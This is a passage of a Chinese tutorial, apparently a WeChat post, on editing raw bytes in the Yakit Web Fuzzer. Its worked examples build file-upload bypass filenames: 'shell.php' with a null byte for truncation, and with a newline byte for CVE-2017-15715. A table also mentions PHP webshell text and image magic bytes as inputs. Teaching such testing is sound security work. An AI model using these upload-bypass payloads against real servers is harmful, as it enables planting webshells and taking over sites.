Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);" data-pm-slice="6 9 []"><div style="outline: 0px;font-size: 19px;color: rgba(255, 129, 36, 0.43);"><p style="outline: 0px;"><strong style="outline: 0px;"><em style="outline: 0px;"><span leaf="">YAK</span></em></strong></p></div></div><div style="margin-bottom: 10px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);text-align: left;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 3px;outline: 0px;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;background-color: rgb(255, 129, 36);"><div style="outline: 0px;justify-content: flex-start;display: flex;flex-flow: row;"><div style="padding: 2px 12px 2px 15px;outline: 0px;display: inline-block;vertical-align: middle;width: auto;flex: 100 100 0%;height: auto;background-color: rgb(255, 255, 255);align-self: center;"><div style="outline: 0px;text-align: justify;color: rgb(27, 27, 27);"><p style="outline: 0px;"><span style="outline: 0px;font-size: 14px;"><strong style="outline: 0px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">4.4 ASCII 输入</span></span></strong></span></p></div></div></div></div></div><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">适合写入可见字符，Yakit 会按 UTF-8 编码成字节。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">比如输入：</span></span></p><pre><code data-lark-language="Plain Text" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">shell.php</span></code><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">就得到对应的 ASCII 字节序列。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;"><span textstyle="" style="letter-spacing: 1px;">五、实战一：NullByte 截断文件名</span></span></strong></p></div></div></div><p style="margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这是最直观的场景。文件名需要是：</span></span></p><pre><code data-lark-language="Plain Text" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">shell</span>.php[<span class="code-snippet__number">0</span>x00].jpg</span></code><br/></pre></p></code><br/></pre><h3 style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">步骤</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1.在 Web Fuzzer 的数据包里写：</span></span></p><pre><code data-lark-language="HTTP" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span leaf="">Content-Disposition: form-<span class="code-snippet__keyword">data</span>; name=<span class="code-snippet__string">&#34;filename&#34;</span>; filename=<span class="code-snippet__string">&#34;{{unquote(&#34;</span>shell.php.jpg<span class="code-snippet__string">&#34;)}}&#34;</span></span></code><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2.点击折叠出来的 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">Binary[...]</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 卡片。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.弹窗里看到 13 个字节，</span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">Head: 0x7368...</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">4.选中要截断的位置，用 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;">HEX</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 输入框写 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">00</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，点击应用；</span></span></p><ul style="list-style-type: disc;" class="list-paddingleft-1"><ul style="list-style-type:square;" class="list-paddingleft-1"><li><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;" mpa-font-style="mqhui2hl1kpu" data-mpa-action-id="mqhui2ie1p3b" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">或者用鼠标选中某个字节，切换到 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-style: italic;">替换</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 模式，用 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">00</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 覆盖它。</span></span></p></li></ul></ul><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">5.点击 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-style: italic;">提交</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，标签自动更新。</span></span></p><p style="padding: 0.5em;" data-mpa-action-id="mqj9123ckb6" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-ratio="0.23196448390677027" data-type="png" data-w="901" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;height: auto !important;" data-width="901" data-height="209" data-imgfileid="100046272" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=da9df839&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FjibGAup6p72H2SRqadAPaTzpB0CAficv7dFibQsMzjAoWp7YkxYzEcMHOmhYuAGGkgOxbbfO1meEZ4qIF5RkQ99kQck6JoBUpPQwQ5ibHMRYThE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">6.点击发送后，点击详情，查看数据包</span></span></p><p style="padding: 0.5em;text-align: center;" data-mpa-action-id="mqhviogo1beg" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-ratio="0.3988183161004431" data-type="png" data-w="677" style="background-color: transparent;box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;height: auto !important;" data-width="677" data-height="270" data-imgfileid="100046275" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=64a54914&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FjibGAup6p72HXsyvibPmSxnWYHiapMwTvfSfT6iajibhC95ib6KITNXDo5ic7ocskxYsUCmtB7FlSKt3eRibYJLNJRNCGx2iaic9hiac8bjdQja7wG6jYA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><blockquote><p><span leaf="">注意：你不需要自己算 </span><code><span leaf="">Content-Length</span></code><span leaf="">，Yakit 渲染 </span><code><span leaf="">{{unquote(...)}}</span></code><span leaf=""> 时会按实际字节长度自动处理。</span></p></blockquote><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;"><span textstyle="" style="letter-spacing: 1px;">六、实战二：换行解析文件名</span></span></strong></p></div></div></div><p style="margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">另一个经典场景是 CVE-2017-15715，文件名按换行符切分：</span></span></p><pre><code data-lark-language="Plain Text" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="apache"><code><span leaf=""><span class="code-snippet__attribute">shell</span>.php[<span class="code-snippet__number">0</span>x0a].jpg</span></code><br/></pre></p></code><br/></pre><h3 style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">步骤</span></span></h3><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">假设你一开始只写了普通文件名：</span></span></p><pre><code data-lark-language="HTTP" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="kotlin"><code><span leaf="">Content-Disposition: form-<span class="code-snippet__keyword">data</span>; name=<span class="code-snippet__string">&#34;filename&#34;</span>; filename=<span class="code-snippet__string">&#34;{{unquote(&#34;</span>shell.php.jpg<span class="code-snippet__string">&#34;)}}&#34;</span></span></code><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">1.点击 Binary 卡片，打开 Edit Binary。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">2.在 Hex 视图里点击 </span></span><code style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;" mpa-font-style="mqhuo6wiil3" data-mpa-action-id="mqhuo6wu1g4q" data-pm-slice="0 0 []"><span textstyle="" style="letter-spacing: 1px;">shell.php</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 末尾那个字节，定位插入点。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">3.切换到 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-style: italic;">插入</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 模式。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">4.输入方式选 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-style: italic;">HEX</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，输入框里写：</span></span></p><pre><code data-lark-language="Plain Text" data-wrap="false"><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang=""><code><span leaf="">0a</span></code><br/></pre></p></code><br/></pre><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;" data-mpa-action-id="mqhusc3vafj" data-pm-slice="0 0 []"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">5.点击 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-style: italic;">应用</span></span></code><span style="line-height: 1.6em;font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: 1px;">，真实的换行字节就插入到了</span></span></span><code style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span mpa-font-style="mqhusc3j1hg7"><span leaf="" style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">shell.php</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 和 </span></span><code style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">.jpg</span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 之间。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">6.点击 </span></span><code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;color: rgb(253, 128, 9);font-style: italic;">提交</span></span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">，标签自动更新为 </span></span><code style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">{{unquote(&#34;shell.php\x0a.jpg&#34;)}}</span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">。</span></span></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">这样你就拼接出了一个包含真实 </span></span><code style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;"><span leaf="" style="line-height: 1.6em;font-size: 15px;letter-spacing: 1px;font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;">0x0a</span></code><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;"> 字节的文件名，不需要离开 Yakit。</span></span></p><blockquote><p><span leaf="">你也可以反过来：先写 </span><code><span leaf="">{{unquote(&#34;shell.php\x0a.jpg&#34;)}}</span></code><span leaf="">，然后打开 Edit Binary 检查中间那个字节是不是真的是 </span><code><span leaf="">0x0a</span></code><span leaf="">，必要时再调整。</span></p></blockquote><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;"><span textstyle="" style="letter-spacing: 1px;">七、HEX 和 ASCII 到底什么时候用？</span></span></strong></p></div></div></div><table style="border: none;border-collapse: collapse;width: 500px;"><tbody><tr style="height:39px;"><td><p><span leaf="">场景</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">推荐输入方式</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">例子</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">写入 </span><code><span leaf="">\x00</span></code><span leaf="">、</span><code><span leaf="">\x0a</span></code><span leaf="">、</span><code><span leaf="">\xff</span></code><span leaf=""> 等不可见字节</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">HEX</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">00</span></code><span leaf="">、</span><code><span leaf="">0a</span></code><span leaf="">、</span><code><span leaf="">ff</span></code><span leaf="">（不要 </span><code><span leaf="">0x</span></code><span leaf=""> 前缀）</span></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">写入文件名、脚本字符串等可见文本</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">ASCII</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">shell.php</span></code><span leaf="">、</span><code><span leaf="">&lt;?php ... ?&gt;</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">写入图片/文件魔数</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">HEX 或 ASCII</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><code><span leaf="">FFD8FF</span></code><span leaf=""> 或 </span><code><span leaf="">GIF89a</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">覆盖已有的一段字节</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">替换模式 + 先选中目标 + HEX/ASCII</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">把选中的字节改成 </span><code><span leaf="">00</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">在指定位置前插入内容</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">插入模式 + 点击定位 + HEX/ASCII</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">在 </span><code><span leaf="">shell.php</span></code><span leaf=""> 后插入 </span><code><span leaf="">00</span></code></p></td></tr><tr style="height:39px;"><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">在末尾追加内容</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">插入模式 + 不选中任何字节 + HEX/ASCII</span></p></td><td style="border:1px solid rgb(222, 224, 227);font-size:10pt;padding:8px;vertical-align:top;"><p><span leaf="">追加 </span><code><span leaf="">.jpg</span></code></p></td></tr></tbody></table><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 16px;letter-spacing: 0.544px;text-align: left;background-color: rgb(255, 255, 255);display: inline-block;width: auto;vertical-align: top;align-self: stretch;flex: 0 0 auto;border-style: solid;border-width: 0px 0px 3px;border-color: rgb(244, 127, 123) rgb(244, 127, 123) rgb(255, 129, 36);min-width: 5%;height: auto;" data-pm-slice="6 4 []"><div style="margin-bottom: 2px;outline: 0px;"><div style="outline: 0px;text-align: justify;font-size: 18px;"><p style="outline: 0px;"><strong><span leaf="" style="font-weight: bold;outline: 0px;"><span textstyle="" style="letter-spacing: 1px;">八、对比传统方式的优势</span></span></strong></p></div></div></div><p style="margin: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">以前做这件事，流程是：</span></span></p><p style="text-align: center;padding: 0.5em;margin-bottom: 8px;" data-mpa-action-id="mqj8hsbmzyl" data-pm-slice="0 0 []"><img class="rich_pages wxw-img" data-ratio="2.0842592592592593" data-s="300,640" data-type="jpeg" data-w="1080" style="box-shadow: rgb(210, 210, 210) 0px 0px 0.5em 0px;background-color: transparent;height: auto !important;" type="block" data-imgfileid="100046282" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=73986330&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FjibGAup6p72FVY1LibMS1AW850Fux8lzQUkMcQicXBHxgz5siayeyg3dibxPODwuE4cnIDslwKzZhVumFWewziaaQTtP1ceOnXwZeOFeO2faRWhzM%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="margin-left: 8px;margin-right: 8px;margin-bottom: 8px;line-height: 1.6em;"><span leaf="" style="line-height: 1.6em;font-size: 15px;"><span textstyle="" style="letter-spacing: 1px;">省去了记 Fuzztag 语法、反复发包验证这两步，出错概率低很多。</span></span></p><div style="margin-bottom: 0px;outline: 0px;font-family: system-ui, -apple-system, &#34;system-ui&#34;, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, 